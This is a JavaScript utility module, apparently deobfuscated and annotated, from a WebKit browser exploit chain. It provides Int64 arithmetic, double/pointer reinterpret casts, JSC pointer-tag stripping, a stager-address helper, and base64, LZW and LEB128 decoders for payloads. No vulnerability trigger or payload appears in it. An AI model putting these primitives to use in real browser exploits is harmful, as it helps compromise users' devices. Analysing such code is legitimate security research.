README.md
Rendering markdown...
/**
* Utility / Type Conversion Module
* Module ID: 57620206d62079baad0e57e6d9ec93120c0f5247
*
* This module provides low-level type conversion utilities used throughout
* the exploit chain. It handles conversions between JavaScript doubles,
* 64-bit integers, BigInts, and raw byte representations. These primitives
* are essential for constructing fake objects and manipulating pointers in
* the WebKit heap.
*
* Key capabilities:
* - Int64 class for 64-bit integer arithmetic (add, sub, and, or, xor, shift)
* - Conversion between doubles and their raw uint32 lo/hi halves
* - BigInt <-> Number <-> Double interconversion
* - Pointer tag stripping (JSC tagged pointer support)
* - UTF-16 encode/decode and string manipulation
* - Base64 decoding, LZW decompression
* - LEB128 encode/decode (for WebAssembly payloads)
* - URL resolution helpers
*/
let r = {};
// ──────────────────────────────────────────────
// BigInt polyfill wrapper
// ──────────────────────────────────────────────
/**
* Convert a value to BigInt if the runtime supports it; otherwise return as-is.
*/
function toBigInt(t) {
return window.BigInt ? BigInt(t) : t;
}
r.U = toBigInt;
// ──────────────────────────────────────────────
// Core constants
// ──────────────────────────────────────────────
/** Mask to strip the pointer tag from a JSC tagged pointer (low 39 bits). */
const POINTER_MASK = toBigInt(549755813887); // 0x7FFFFFFFFF
/** Maximum safe value for the high 32 bits of a safe integer. */
const MAX_SAFE_HI32 = 127; // 896953977 ^ 896953862
/** Number of bits to shift to reach the pointer tag in a 64-bit JSC value. */
const POINTER_TAG_SHIFT = toBigInt(39);
r.B = POINTER_TAG_SHIFT;
r.I = POINTER_MASK;
r.v = MAX_SAFE_HI32;
// ──────────────────────────────────────────────
// Hex formatting
// ──────────────────────────────────────────────
/**
* Convert a value to a hexadecimal string. Returns the string "null" for null.
*/
r.N = function toHexString(t) {
return null === t ? "null" : t.toString(16);
};
// ──────────────────────────────────────────────
// GC root tracking
// ──────────────────────────────────────────────
/** Array of values to prevent garbage collection. */
const gcRoots = [];
/**
* Push a value into the GC roots array to prevent it from being collected.
*/
r.D = function pushGCRoot(t) {
gcRoots.push(t);
};
// ──────────────────────────────────────────────
// Shared typed-array views (for reinterpret casts)
// ──────────────────────────────────────────────
const u32View = new Uint32Array(new ArrayBuffer(8));
const u8View = new Uint8Array(u32View.buffer);
const u16View = new Uint16Array(u32View.buffer);
const f64View = new Float64Array(u32View.buffer);
// ──────────────────────────────────────────────
// Primitive conversion helpers
// ──────────────────────────────────────────────
/**
* Combine a low 32-bit and high 32-bit value into a single JS number.
*/
function combineU32(lo, hi) {
return lo + 0x100000000 * hi;
}
/**
* Get the low 32 bits of a double (reinterpret cast).
*/
function lo32(t) {
f64View[0] = t;
return u32View[0];
}
/**
* Get the high 32 bits of a double (reinterpret cast).
*/
function hi32(t) {
f64View[0] = t;
return u32View[1];
}
/**
* Pack two uint32 values into a float64 (reinterpret cast).
*/
function pack(lo, hi) {
u32View[0] = lo;
u32View[1] = hi;
return f64View[0];
}
/**
* Truncate a value to an unsigned 32-bit integer.
*/
r.S = function toUint32(t) {
u32View[0] = t;
return u32View[0];
};
r.T = combineU32;
/**
* Reinterpret a double as a number (lo + hi * 2^32).
*/
r.P = function doubleToNumber(t) {
f64View[0] = t;
return combineU32(u32View[0], u32View[1]);
};
r.C = lo32;
r.V = hi32;
/**
* Extract the high 32 bits of a number by dividing by 2^32.
*/
r.F = function numberHi32(t) {
return (t / 0x100000000) >>> 0;
};
/**
* Extract the low 32 bits of a number (unsigned right shift by 0).
*/
r._ = function numberLo32(t) {
return t >>> 0;
};
/**
* Add a signed 32-bit offset to a double (reinterpret as Int64, add, convert back).
*/
r.q = function addOffset(t, n) {
return Int64.fromDouble(t).addInt32(n).toDouble();
};
/**
* Add a signed 32-bit offset to a double (alias of addOffset).
*/
r.G = function addOffset(t, n) {
return Int64.fromDouble(t).addInt32(n).toDouble();
};
/**
* Convert a JS number to a float64 by writing lo/hi into the typed-array view.
*/
r.J = function toDouble(t) {
u32View[1] = t / 0x100000000;
u32View[0] = t;
return f64View[0];
};
/**
* Convert a BigInt to a JS number.
*/
r.K = function bigintToNumber(t) {
return combineU32(
Number(t & BigInt(0xFFFFFFFF)),
Number(t >> BigInt(32))
);
};
/**
* Convert a JS number to a BigInt.
*/
r.O = function numberToBigInt(t) {
const lo = BigInt(t >>> 0);
return (BigInt((t / 0x100000000) >>> 0) << BigInt(32)) | lo;
};
/**
* Convert a double to a BigInt by reinterpreting its raw bytes.
*/
r.X = function doubleToBigInt(t) {
f64View[0] = t;
const lo = BigInt(u32View[0]);
const hi = BigInt(u32View[1]);
return (BigInt(hi) << BigInt(32)) | lo;
};
r.Y = pack;
/**
* Pack four bytes (big-endian order) into a single uint32.
*/
r.Z = function packBytes(b3, b2, b1, b0) {
u8View[0] = b0;
u8View[1] = b1;
u8View[2] = b2;
u8View[3] = b3;
return u32View[0];
};
/**
* Convert a number to 4 UTF-16 characters (for encoding 64-bit values as strings).
*/
r.tt = function toCharCodes(t) {
u32View[1] = t / 0x100000000;
u32View[0] = t;
return String.fromCharCode(u16View[0], u16View[1], u16View[2], u16View[3]);
};
/**
* Decode a base64 string into an ArrayBuffer.
*/
r.nt = function base64ToArrayBuffer(t) {
var n;
const decoded = atob(t);
const bytes = new Uint8Array(decoded.length);
for (n = 0; n < decoded.length; n++) {
bytes[n] = decoded.charCodeAt(n);
}
return bytes.buffer;
};
/**
* Convert a raw string (each char = one byte) into an ArrayBuffer.
*/
r.rt = function stringToArrayBuffer(t) {
var n;
const bytes = new Uint8Array(t.length);
for (n = 0; n < t.length; n++) {
bytes[n] = t.charCodeAt(n);
}
return bytes.buffer;
};
// ──────────────────────────────────────────────
// Int64: 64-bit integer arithmetic class
// ──────────────────────────────────────────────
/**
* A 64-bit integer represented as two unsigned 32-bit halves (lo, hi).
* Provides basic arithmetic, bitwise operations, pointer-tag manipulation,
* and conversion to/from doubles, BigInts, and JS numbers.
*/
class Int64 {
constructor(lo, hi) {
this.lo = lo >>> 0;
this.hi = hi >>> 0;
}
/** Create an Int64 from a JS number (up to 2^53). */
static fromNumber(t) {
return new Int64(t >>> 0, (t / 0x100000000) >>> 0);
}
/** Create an Int64 from a BigInt. */
static fromBigInt(t) {
return new Int64(
Number(t & BigInt(0xFFFFFFFF)),
Number(t >> BigInt(32))
);
}
/** Create an Int64 from an unsigned JS number. */
static fromUnsigned(t) {
return new Int64(t >>> 0, (t / 0x100000000) >>> 0);
}
/** Create an Int64 by reinterpreting a float64's raw bits. */
static fromDouble(t) {
return new Int64(lo32(t), hi32(t));
}
/** Create an Int64 from a signed 32-bit integer (sign-extends to 64 bits). */
static fromInt32(t) {
return new Int64(t >>> 0, (t < 0 ? -1 : 0) >>> 0);
}
/** Convert to a JS number (lo + hi * 2^32). May lose precision above 2^53. */
toNumber() {
return 0x100000000 * this.hi + this.lo;
}
/** Returns true if the sign bit (bit 63) is set. */
isNegative() {
return this.hi > 127; // 0x7F
}
/** Check equality with a JS number. */
equalsNumber(t) {
const hi = (t / 0x100000000) >>> 0;
const lo = t >>> 0;
return this.hi === hi && this.lo === lo;
}
/** Bitwise NOT (~). */
not() {
return new Int64(~this.lo, ~this.hi);
}
/** 64-bit addition. */
add(t) {
const lo = this.lo + t.lo;
var hi = this.hi + t.hi;
if (lo !== (lo >>> 0)) hi++;
return new Int64(lo >>> 0, hi >>> 0);
}
/** Add a signed 32-bit integer. */
addInt32(t) {
return this.add(Int64.fromInt32(t));
}
/** Check equality with another Int64. */
equals(t) {
return this.lo === t.lo && this.hi === t.hi;
}
/** Check inequality with another Int64. */
notEquals(t) {
return this.lo !== t.lo || this.hi !== t.hi;
}
/** 64-bit subtraction. */
sub(t) {
return this.add(t.negate());
}
/** Subtract a signed 32-bit integer. */
subInt32(t) {
return this.add(Int64.fromInt32(t).negate());
}
/** Bitwise AND. */
and(t) {
const lo = this.lo & t.lo;
const hi = this.hi & t.hi;
return new Int64(lo >>> 0, hi >>> 0);
}
/** Bitwise OR. */
or(t) {
const lo = this.lo | t.lo;
const hi = this.hi | t.hi;
return new Int64(lo >>> 0, hi >>> 0);
}
/** Bitwise XOR. */
xor(t) {
const lo = this.lo ^ t.lo;
const hi = this.hi ^ t.hi;
return new Int64(lo >>> 0, hi >>> 0);
}
/** Two's complement negation. */
negate() {
return this.not().add(new Int64(1, 0));
}
/** Logical right shift by t bits (t must be < 32). */
rshift(t) {
if (t >= 32) throw new Error("");
return new Int64(
(this.lo >>> t) | (this.hi << (32 - t)),
this.hi >>> t
);
}
toString() {
return "";
}
/**
* Convert to a safe JS number. Throws if the value exceeds
* MAX_SAFE_HI32 (i.e., the high 32 bits are > 127).
*/
toSafeNumber() {
if (this.hi > MAX_SAFE_HI32) throw new Error("");
return 0x100000000 * this.hi + this.lo;
}
/** Convert to a BigInt. */
toBigInt() {
return BigInt(this.hi) * BigInt(0x100000000) + BigInt(this.lo);
}
/** Strip the pointer tag (mask high 32 bits with MAX_SAFE_HI32 = 0x7F). */
stripTag() {
return new Int64(this.lo, this.hi & MAX_SAFE_HI32);
}
/** Return the tagged number (strip tag, then convert to number). */
toTaggedNumber() {
return 0x100000000 * (this.hi & MAX_SAFE_HI32) + this.lo;
}
/** Alias for stripTag() - returns a new Int64 with the tag stripped. */
stripped() {
return new Int64(this.lo, this.hi & MAX_SAFE_HI32);
}
/** Reinterpret this Int64 as a float64 (pack lo and hi). */
toDouble() {
return pack(this.lo, this.hi);
}
/** Returns true if both halves are zero. */
isZero() {
return 0 === this.lo && 0 === this.hi;
}
/** Get the low 32-bit half. */
getLo() {
return this.lo;
}
/**
* Convert to a pointer value. Adds 0xFFF (4095) to lo, propagating
* carry, then masks with 0xFFFFF000 to page-align.
* Throws if hi > MAX_SAFE_HI32.
*/
toPointerValue() {
if (this.hi > MAX_SAFE_HI32) throw new Error("");
var lo = this.lo + 4095; // 1697802081 ^ 1697802398
var hi = this.hi;
if (lo !== (lo >>> 0)) hi++;
return 0x100000000 * (hi >>> 0) + ((lo &= 0xFFFFF000) >>> 0);
}
}
// ──────────────────────────────────────────────
// String encoding / decoding helpers
// ──────────────────────────────────────────────
/**
* Expand each character of a string into two bytes (UTF-16 LE byte pairs).
* Each character code is split into (code & 0xFF) and (code >> 8).
*/
function utf16Encode(t) {
const result = [];
var n;
for (n = 0; n < t.length; n++) {
const code = t.charCodeAt(n);
result.push(255 & code); // low byte
result.push(code >>> 8); // high byte
}
return String.fromCharCode.apply(null, result);
}
/**
* Decode a UTF-16 LE byte-pair string back to normal characters.
* Every two bytes are combined into one character.
*/
function utf16Decode(t) {
var lo, hi, i, result = "";
const len = t.length;
for (i = 0; i < len; i += 2) {
lo = t.charCodeAt(i);
hi = (i + 1 < len) ? t.charCodeAt(i + 1) : 0;
result += String.fromCharCode(lo | (hi << 8));
}
return result;
}
/**
* Decode a raw string: expand via utf16Encode, then truncate at the first NUL.
*/
function decodeString(t) {
var result = utf16Encode(t);
const nulIdx = result.indexOf("\0");
if (-1 !== nulIdx) {
result = result.slice(0, nulIdx);
}
return result;
}
/**
* Convert a byte value to a two-character lowercase hex string.
*/
function byteToHex(t) {
var hex = t.toString(16).toLowerCase();
if (1 === hex.length) hex = "0" + hex;
return hex;
}
/**
* Convert a 32-bit integer to a 4-byte unicode escape sequence string.
* Used to produce raw binary strings from 32-bit values.
*
* Layout: the 32-bit value is split into 4 bytes and encoded as two
* %uHHHH escape pairs.
*/
function intToUnicodeEscape(t) {
var result;
const byte0 = 255 & t; // bits 0-7
const byte3 = ((0xFF000000 & t) >> 24) & 255; // bits 24-31
const byte2 = ((0xFF0000 & t) >> 16) & 255; // bits 16-23
result = "%u";
result += byteToHex(((0xFF00 & t) >> 8) & 255); // bits 8-15
result += byteToHex(byte0);
result += "%u";
result += byteToHex(byte3);
result += byteToHex(byte2);
return unescape(result);
}
/**
* Convert a float64 to a pair of uint32 values [hi, lo] (big-endian order).
*/
function doubleToUint32Pair(t) {
const buf = new Uint8Array(16);
const view = new DataView(buf.buffer, 0, 8);
const pair = new Array(2);
view.setFloat64(0, t);
pair[0] = view.getUint32(0, false); // big-endian hi
pair[1] = view.getUint32(4, false); // big-endian lo
return pair;
}
/**
* Resolve a potentially relative URL to an absolute URL.
* If the string does not start with "http://" or "https://", it is
* resolved relative to the current page's location.
*/
function resolveUrl(t) {
var url = decodeString(t);
// Test if the URL already has an http(s) scheme
if (null === RegExp("^https?://").exec(url)) {
const host = location.host;
const protocol = location.protocol;
if ("/" === url.charAt(0)) {
// Absolute path
url = protocol + "//" + host + url;
} else {
// Relative path
if ("." === url.charAt(0) && "/" === url.charAt(1)) {
url = url.substring(2);
}
const pathname = location.pathname;
const lastSlash = pathname.lastIndexOf("/");
url = protocol + "//" + host + pathname.slice(0, lastSlash + 1) + url;
}
}
return url;
}
// ──────────────────────────────────────────────
// Export standalone functions
// ──────────────────────────────────────────────
r.Vt = Int64;
r.Ft = utf16Encode;
r._t = utf16Decode;
r.qt = decodeString;
r.xt = byteToHex;
r.Wt = intToUnicodeEscape;
/**
* Read an unsigned 16-bit value from a string at byte offset n.
* The string is treated as packed 16-bit values: each character holds
* a 16-bit code unit. n is a byte offset (divided by 2 for char index).
*/
r.Ht = function readU16FromString(t, n) {
n /= 2;
return 0x10000 * t.charCodeAt(n + 1) + t.charCodeAt(n); // 893998450 ^ 893932914 = 65536
};
/**
* Convert two uint32 values to a float64 (via DataView, big-endian).
* @param {number} lo - low 32 bits (written at offset 4)
* @param {number} hi - high 32 bits (written at offset 0)
*/
r.Lt = function u32PairToDouble(lo, hi) {
const view = new DataView(new ArrayBuffer(8), 0, 8);
view.setUint32(0, hi);
view.setUint32(4, lo);
return view.getFloat64(0);
};
/**
* Safely pack two uint32 values into a float64, with NaN-boxing validation.
* Throws if the resulting high bits indicate a NaN (0xFFF00000 mask).
*/
r.Mt = function safePackDouble(lo, hi) {
const f64 = new Float64Array(1);
const u32 = new Uint32Array(f64.buffer);
const check = new Uint32Array(1);
u32[0] = lo >>> 0;
u32[1] = hi >>> 0;
check[0] = 0xFFF00000 & u32[1]; // 878211651 ^ -878153149
if (0xFFF00000 === check[0]) throw new Error(0); // 929592947 ^ -929532301
return f64[0];
};
/**
* Convert a float64 to a Uint8Array (8 bytes).
*/
r.Rt = function doubleToBytes(t) {
const buf = new Uint8Array(16);
new DataView(buf.buffer, 0, 8).setFloat64(0, t);
return buf;
};
r.jt = doubleToUint32Pair;
/**
* Convert a double to a StagerAddress (from the uint32 pair).
* Returns null if the pair has fewer than 2 elements.
*/
r.kt = function doubleToStagerAddress(t) {
const pair = doubleToUint32Pair(t);
let result = null;
if (pair.length >= 2) {
result = new StagerAddress(pair[1], pair[0]);
}
return result;
};
/**
* Write a uint32 value into a byte array at offset n (little-endian).
* Returns the new offset (n + 4).
*/
r.zt = function writeU32ToArray(arr, n, value) {
const v = value >>> 0;
arr[n] = 255 & v; // byte 0
arr[n + 1] = (v >> 8) & 255; // byte 1
arr[n + 2] = (v >> 16) & 255; // byte 2
arr[n + 3] = (v >> 24) & 255; // byte 3
return n + 4;
};
/**
* Read a uint32 from a byte array at offset n (little-endian).
*/
r.Gt = function readU32FromArray(arr, n) {
return (arr[n] | (arr[n + 1] << 8) | (arr[n + 2] << 16) | (arr[n + 3] << 24)) >>> 0;
};
/**
* Decode a base64 string to a UTF-16 string.
* The base64-decoded bytes are treated as UTF-16 LE pairs.
*/
r.Jt = function base64DecodeUtf16(t) {
var n, code, i, result = "";
const decoded = globalThis.atob(t);
const len = decoded.length;
// Pad with a NUL 4-byte unicode escape to ensure even length
n = decoded + intToUnicodeEscape(0);
for (i = 0; i < len; i += 2) {
code = n.charCodeAt(i);
code |= n.charCodeAt(i + 1) << 8;
code >>>= 0;
result += String.fromCharCode(code);
}
return result;
};
/**
* LZW decompression.
* Decompresses a string that was compressed with LZW encoding.
* Handles the surrogate gap: when the dictionary index reaches 0xD800 (55296),
* it jumps to 0xE000 (57344) to avoid the Unicode surrogate range.
*/
r.Kt = function lzwDecompress(t) {
const dict = new Map();
var prev, entry, code, nextCode,
result = "",
dictSize = 256; // 1967607135 ^ 1967606879
// Initialize dictionary with single-byte entries (0..255)
for (prev = 0; prev < 256; prev += 1) { // 1984197735 ^ 1984197991
dict.set(prev, String.fromCodePoint(prev));
}
[...t].forEach(function (ch, idx) {
if (0 === idx) {
// First character: output directly
prev = String.fromCodePoint(ch.codePointAt(0));
entry = prev;
} else {
code = ch.codePointAt(0);
if (dict.has(code)) {
nextCode = dict.get(code);
} else {
if (code !== dictSize) throw new Error(0);
nextCode = prev + String.fromCodePoint(prev.codePointAt(0));
}
entry += nextCode;
dict.set(dictSize++, prev + String.fromCodePoint(nextCode.codePointAt(0)));
// Skip the Unicode surrogate range (0xD800..0xDFFF)
if (55296 === dictSize) { // 879182932 ^ 879205460 = 0xD800
dictSize = 57344; // 1886736973 ^ 1886761549 = 0xE000
}
prev = nextCode;
}
});
return utf16Decode(entry);
};
r.Ot = resolveUrl;
/**
* Resolve a URL and pad it with NUL characters to a 4-byte boundary,
* then decode via utf16Decode.
*/
r.Qt = function resolveUrlPadded(t) {
var url = resolveUrl(t);
url += "\0";
while (url.length % 4 !== 0) {
url += "\0";
}
return utf16Decode(url);
};
/**
* Encode a 64-bit Int64 value as unsigned LEB128 into a byte array.
* @param {Array} arr - destination byte array
* @param {number} n - starting offset
* @param {Int64} value - the value to encode
*/
r.Xt = function encodeLEB128(arr, n, value) {
var byte;
for (;;) {
byte = value.lo % 128; // 1466329413 ^ 1466329541
value = value.sub(Int64.fromInt32(byte));
if (0 === value.hi && 0 === value.lo) {
// Last byte: no continuation bit
} else {
byte |= 128; // 1416853561 ^ 1416853689 (continuation)
}
arr[n++] = byte;
value = value.rshift(7);
if (!(128 & byte)) break; // 1110466900 ^ 1110467028
}
};
/**
* Decode an unsigned LEB128 value from a byte array.
* @param {Array} arr - source byte array
* @param {number} n - starting offset
* @returns {{ Zt: number, $t: number }} decoded value and number of bytes consumed
*/
r.Yt = function decodeLEB128(arr, n) {
var result = 0,
shift = 0;
const startOffset = n;
do {
result += (127 & arr[n]) << shift; // 1447114358 ^ 1447114249
shift += 7;
} while (128 & arr[n++]); // 1466525748 ^ 1466525876
return {
Zt: result,
$t: n - startOffset
};
};
/**
* Throw a generic error (used as an unreachable / abort marker).
*/
r.tn = function throwError() {
throw new Error("");
};
// ──────────────────────────────────────────────
// Pointer tag helper
// ──────────────────────────────────────────────
/**
* Strip the pointer tag from a BigInt pointer value by masking with POINTER_MASK.
*/
function stripPointerTag(t) {
return t & POINTER_MASK;
}
// ──────────────────────────────────────────────
// TypeHelper class
// ──────────────────────────────────────────────
/**
* Helper class that wraps a DataView for performing type-punning conversions
* between various numeric types (int16, uint16, uint32, float32, float64,
* bigint64) via an internal 16-byte buffer.
*/
r.nn = class TypeHelper {
constructor() {
this.buffer = new ArrayBuffer(16);
this.view = new DataView(this.buffer);
}
/** Convert a value to a signed 16-bit integer. */
toInt16(t) {
this.view.setInt16(0, t, true);
return this.view.getInt16(0, true);
}
/** Convert a value to an unsigned 16-bit integer. */
toUint16(t) {
this.view.setUint16(0, t, true);
return this.view.getUint16(0, true);
}
/** Convert any value (number or bigint) to uint32. */
toUint32FromAny(t) {
if ("bigint" == typeof t) {
this.view.setBigUint64(0, t, true);
} else {
this.view.setUint32(0, t, true);
}
return this.view.getUint32(0, true);
}
/** Set a double, replace its low 32 bits, read back as double. */
readU32(t, n) {
this.view.setFloat64(0, t, true);
this.view.setUint32(0, n, true);
return this.view.getFloat64(0, true);
}
/** Set a double, replace its high 32 bits, read back as double. */
writeU32(t, n) {
this.view.setFloat64(0, t, true);
this.view.setUint32(4, n, true);
return this.view.getFloat64(0, true);
}
/** Read a BigUint64 from 4 UTF-16 characters (8 bytes). */
readU64FromChars(t) {
for (let n = 0; n < 4; n++) {
let code = t.charCodeAt(n);
if (Number.isNaN(code)) throw new Error("");
this.view.setUint16(2 * n, code, true);
}
return this.view.getBigUint64(0, true);
}
/** Convert a float32 to its uint32 bit representation. */
float32ToUint32(t) {
this.view.setFloat32(0, t, true);
return this.view.getUint32(0, true);
}
/** Convert a BigInt (uint64) to a float64. */
bigintToDouble(t) {
this.view.setBigUint64(0, t, true);
return this.view.getFloat64(0, true);
}
/** Set a BigUint64, replace byte 0 with n, read back as BigUint64. */
setByteLo(t, n) {
this.view.setBigUint64(0, t, true);
this.view.setUint8(0, Number(n));
return this.view.getBigUint64(0, true);
}
/** Set a BigUint64, replace low uint32 with n, read back as BigUint64. */
setU32Lo(t, n) {
this.view.setBigUint64(0, t, true);
this.view.setUint32(0, Number(n), true);
return this.view.getBigUint64(0, true);
}
/** Set a uint32, replace byte 0 with n, read back as uint32. */
setByteOfU32(t, n) {
this.view.setUint32(0, t, true);
this.view.setUint8(0, Number(n));
return this.view.getUint32(0, true);
}
/** Set a uint32, then overwrite it entirely with n, read back. */
replaceU32(t, n) {
this.view.setUint32(0, t, true);
this.view.setUint32(0, Number(n), true);
return this.view.getUint32(0, true);
}
/** Convert a JS number to a BigUint64 by splitting into lo/hi uint32. */
numberToBigUint64(t) {
this.view.setUint32(0, Number(t >>> 0), true);
this.view.setUint32(4, Number(t / 0x100000000), true);
return this.view.getBigUint64(0, true);
}
/** Set a BigUint64, replace low uint32, read back as BigUint64. */
setBigintLo32(t, n) {
this.view.setBigUint64(0, t, true);
this.view.setUint32(0, Number(n), true);
return this.view.getBigUint64(0, true);
}
/** Identity: write a BigUint64 and read it back (normalization). */
bigintIdentity(t) {
this.view.setBigUint64(0, t, true);
return this.view.getBigUint64(0, true);
}
};
r.An = stripPointerTag;
/**
* Check whether a value has a pointer tag (i.e., stripping the tag changes it).
*/
r.vn = function hasPointerTag(t) {
return stripPointerTag(t) !== t;
};